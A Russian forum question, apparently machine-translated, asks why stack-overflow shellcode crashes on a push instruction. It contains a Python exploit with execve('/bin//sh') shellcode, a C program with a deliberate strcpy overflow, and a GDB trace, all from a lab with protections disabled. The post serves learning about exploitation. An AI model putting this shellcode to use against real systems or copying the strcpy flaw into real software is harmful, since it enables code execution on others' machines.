Почему мой шеллкод падает на инструкции push? - PullRequest
0 голосов
/ 05 июня 2019

Я пытаюсь выполнить базовое переполнение буфера в стеке в Ubuntu 19.04.

Следующие контрмеры по переполнению в настоящее время отключены:

  • ASLR (/ proc / sys / kernel/ randomize_va_space = 0)
  • NX (Источник скомпилирован с -z execstack)
  • Канарские острова (Источник скомпилирован с -fno-stack-protector)

Основное переполнениеработает нормально, после ret рип переходит к шеллкоду и выполняет первые инструкции.Однако, как только выполняется команда push, программа вылетает (Segfault).Я пропускаю некоторые активные контрмеры или в моем коде есть фундаментальный недостаток?

Я использовал GDB для анализа аварии.Однако, когда происходит сбой уязвимой программы, происходит сбой GDB.

Код Eploit (exp.py):

ret_addr = 0x7fffffffde90 - 0x100
scode = "\x31\xF6\x56\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xF7\xEE\xB0\x3B\x0F\x05"

buf = scode  # Shelloce
buf += "\x41" * 242 # Padding
buf += conv(ret_addr) # Return Adress = Start address of buffer

print buf

уязвим. C:

#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
        char buf[256];
        strcpy(buf,argv[1]);
        printf("Message: %s\n",buf);
        return 0;
}

Анализ GDBпосле ret в уязвимом .c:

0x7fffffffdd90  xor    esi,esi    <- rip
0x7fffffffdd92  push   rsi   
0x7fffffffdd93  movabs rbx,0x68732f2f6e69622f    
0x7fffffffdd9d  push   rbx   
0x7fffffffdd9e  push   rsp   
0x7fffffffdd9f  pop    rdi   
0x7fffffffdda0  imul   esi   
0x7fffffffdda2  mov    al,0x3b   
0x7fffffffdda4  syscall   

Таким образом, поток команд успешно перенаправлен в шелл-код.Однако при выполнении следующей инструкции (push rsi) программа завершает работу с Segfault (как и gdb: [5] + Stopped).

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...